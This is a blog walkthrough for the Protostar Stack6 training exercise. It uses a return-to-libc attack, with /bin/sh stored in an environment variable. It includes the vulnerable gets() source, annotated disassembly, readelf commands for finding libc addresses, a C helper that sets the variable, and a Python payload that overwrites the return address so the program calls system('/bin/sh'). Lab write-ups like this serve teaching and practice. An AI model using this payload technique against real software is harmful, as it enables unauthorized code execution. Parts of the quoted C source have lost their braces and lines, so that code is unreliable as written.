Binary Exploitation Protostar Stack6 - Walkthrough - Using EGG Shell Method - Writeup

Posted by Suraj Singh on April 21, 2018 · 11 mins read
Hello Guyz,

Welcome again to my blog. Today, I am going to share with you my walkthrough experience of Exploit-Exercise Protostar Stack6 Level.
In this level, Our goal is to overwrite Return pointer Address And Then Use This Vulnerability To Execute Our Injected Shellcodes. Actually, We just have to prove that with this vulnerability we can exploit this software. but here comes another difficulty of this level. As Already mentioned in hint Stack6 looks at what happens when you have restrictions on the return address. So, In simple words, we have to exploit this level with another technique.

After Searching About Different Concepts And Techniques. I found some techniques that can bypass this level restrictions easily.
and I will also suggest you to spend few minutes in reading about these techniques.

1. Return To Libc
2. Duplicate Code Execution
3. Return To Text Execution
4. Return To Object Orient Programming

And Try To Apply all these techniques at this level.
By The way, I am going to test it all. So, Check My Blog Index for These Techniques Implementations.

Today, I am going to use Return To Libc With EGG Shell. Check Blog Index If You Want To Read ReturnToLibc Without EGG shell In Stack6. let's Start Our Walkthrough

Return To Libc

According To Wikipedia :

 A "return-to-libc" attack is a computer security attack usually starting with a buffer overflow in which a subroutine return address on a call stack is replaced by an address of a subroutine that is already present in the process’ executable memory, bypassing the NX bit feature (if present) and ridding the attacker of the need to inject their own code.  more

Before Starting Our Walkthrough Let's Take a Look At Hints And Details.

Note: I want to highlight Few Points.

  • I'm not the creator of protostar war game. I am just a player.
  • Here, I am Just providing you hints and reference so, that if you feel stuck anywhere. Take a Look Here. hahaha! I'm not going to tell all steps clearly. Just Reference.(Use Your Own Brain And Google)
  • Understand all previous levels before starting this one.
  • Do some research on Assembly, C/C++ and Gdb


#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void getpath()
char buffer[64];
unsigned int ret;

printf("input path please: "); fflush(stdout);


ret = __builtin_return_address(0);

if((ret & 0xbf000000) == 0xbf000000) {
printf("bzzzt (%p)\n", ret);

printf("got path %s\n", buffer);

int main(int argc, char **argv)



Stack6 looks at what happens when you have restrictions on the return address.

This level can be done in a couple of ways,
such as finding the duplicate of the payload (objdump -s) will help with this), or ret2libc, or even return orientated programming.

It is strongly suggested you experiment with multiple ways of getting your code to execute here.

This level is at /opt/protostar/bin/stack6

Disassembly Of Codes

Disassembly :
0x08048484 <getpath+0>: push ebp
0x08048485 <getpath+1>: mov ebp,esp
0x08048487 <getpath+3>: sub esp,0x68 << ==== Create Buffer Space
0x0804848a <getpath+6>: mov eax,0x80485d0 << ==== Load Printing Text On EAX
0x0804848f <getpath+11>: mov DWORD PTR [esp],eax << ==== Place it at the Top of Stack
0x08048492 <getpath+14>: call 0x80483c0 <printf@plt> << ==== Call Print Function
0x08048497 <getpath+19>: mov eax,ds:0x8049720 << ==== Load Value On Eax
0x0804849c <getpath+24>: mov DWORD PTR [esp],eax << ==== Place it at the Top Of Stack
0x0804849f <getpath+27>: call 0x80483b0 <fflush@plt> << ==== Call Flush FUnction
0x080484a4 <getpath+32>: lea eax,[ebp-0x4c] << ==== Load Starting Address Of Bufer Variable
0x080484a7 <getpath+35>: mov DWORD PTR [esp],eax << ==== Place it at the Top of Stack
0x080484aa <getpath+38>: call 0x8048380 <gets@plt> << ==== Call Get Function
0x080484af <getpath+43>: mov eax,DWORD PTR [ebp+0x4] << ==== Load Return address Of Current Allocated stack queue Onto EAX
0x080484b2 <getpath+46>: mov DWORD PTR [ebp-0xc],eax << ==== Move EAX return address to variable space on stack
0x080484b5 <getpath+49>: mov eax,DWORD PTR [ebp-0xc] << ==== Load Return address of current allocated stack queue Onto EAX
0x080484b8 <getpath+52>: and eax,0xbf000000 << ==== and function
0x080484bd <getpath+57>: cmp eax,0xbf000000 << ==== Compare EAX and Value
0x080484c2 <getpath+62>: jne 0x80484e4 <getpath+96> << ==== Jump WHen Not Equal
0x080484c4 <getpath+64>: mov eax,0x80485e4 << ==== Load Printable String Starting Address at EAX
0x080484c9 <getpath+69>: mov edx,DWORD PTR [ebp-0xc] << ==== Load RETURN address value on Edx
0x080484cc <getpath+72>: mov DWORD PTR [esp+0x4],edx << ==== Load EDX value at the top second place of stack
0x080484d0 <getpath+76>: mov DWORD PTR [esp],eax << ==== Load Eax value at the top of stack
0x080484d3 <getpath+79>: call 0x80483c0 <printf@plt> << ==== Call Print Function
0x080484d8 <getpath+84>: mov DWORD PTR [esp],0x1 << ==== EXit Function Argument
0x080484df <getpath+91>: call 0x80483a0 <_exit@plt> << ==== Call Exit Function
0x080484e4 <getpath+96>: mov eax,0x80485f0 << ==== Load Printable String Starting Address at EAX
0x080484e9 <getpath+101>: lea edx,[ebp-0x4c] << ==== Load Starting Address Of Bufer Variable
0x080484ec <getpath+104>: mov DWORD PTR [esp+0x4],edx << ==== Load EDX value at the top second place of stack
0x080484f0 <getpath+108>: mov DWORD PTR [esp],eax << ==== Load Eax value at the top of stack
0x080484f3 <getpath+111>: call 0x80483c0 <printf@plt> << ==== Call Print Function
0x080484f8 <getpath+116>: leave << ==== Reverse Of (push ebp; mov ebp,esp)
0x080484f9 <getpath+117>: ret << ==== Return Value

Stack Status


0 28 104
| Other Stuff | Focus Here (Get Will Inject here) |

Exploitation Plan

Basically, We are going to overwrite function address with our system call function

 (28+0)                 (28+72)   (28+76)    (28+80)    (28+84)
| Total Buffer Space (72) | Pads | EBP | EIP | EXIT Call | /bin/sh |

EIP : Point To System Call (Located On Libc)
EXIT : System Call Return Pointer Address (But We are again using it as next call From LIbc)
/bin/sh : Use as Argument For System Call (Custom Environment)

Useful Tools

To find Address Use GDB p command like

(gdb) p system
(gdb) p exit

Or use readelf and grep
# root@protostar:/opt/protostar# readelf -s "/lib/" | grep "system"
# 238: 000f29d0 66 FUNC GLOBAL DEFAULT 12 svcerr_systemerr@@GLIBC_2.0
# 606: 00038fb0 125 FUNC GLOBAL DEFAULT 12 __libc_system@@GLIBC_PRIVATE
# 1399: 00038fb0 125 FUNC WEAK DEFAULT 12 system@@GLIBC_2.0

# readelf -s "/lib/" | grep "exit"
# strings -a -t x "/lib/" | grep "/bin/sh"

C Eggshell environment

// Create A Dummy Variable On Environment and Get Address Of it

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char **argv)
char *ptr = getenv("EGG");
if (ptr != NULL)
printf("Estimated address: %p\n", ptr);
return 0;
printf("Setting up environment...\nRun Again This Scrit Under This Environmet To Get Address\n");
setenv("EGG", "/bin/sh", 1);
execl("/bin/sh", (char *)NULL);


import struct

# Run This Payload On Custom Environment (/bin/sh)
# Exploiting Payload Configurations
buff = "A"*72 # buffer Size
esp = "DDDD" # Probabily Paddings also
ebp = "BBBB" # EBP
eip = "CCCC" # EIP

# Please Conform Below Addresses
system_call = 0xb7ecffb0 # System Call
exit_call = 0xb7ec60c0 # Exit Call
binsh_addr = 0xbfffffa4 # bin/sh

eip = struct.pack("I", system_call)

payload = buff + esp + ebp + eip + struct.pack('I', exit_call) + struct.pack('I', binsh_addr - 0x4)

print payload

For More Detailed Walk through Check Below Provided YouTube Video Playlist

Bitforestinfo YouTube Protostar CTF Playlist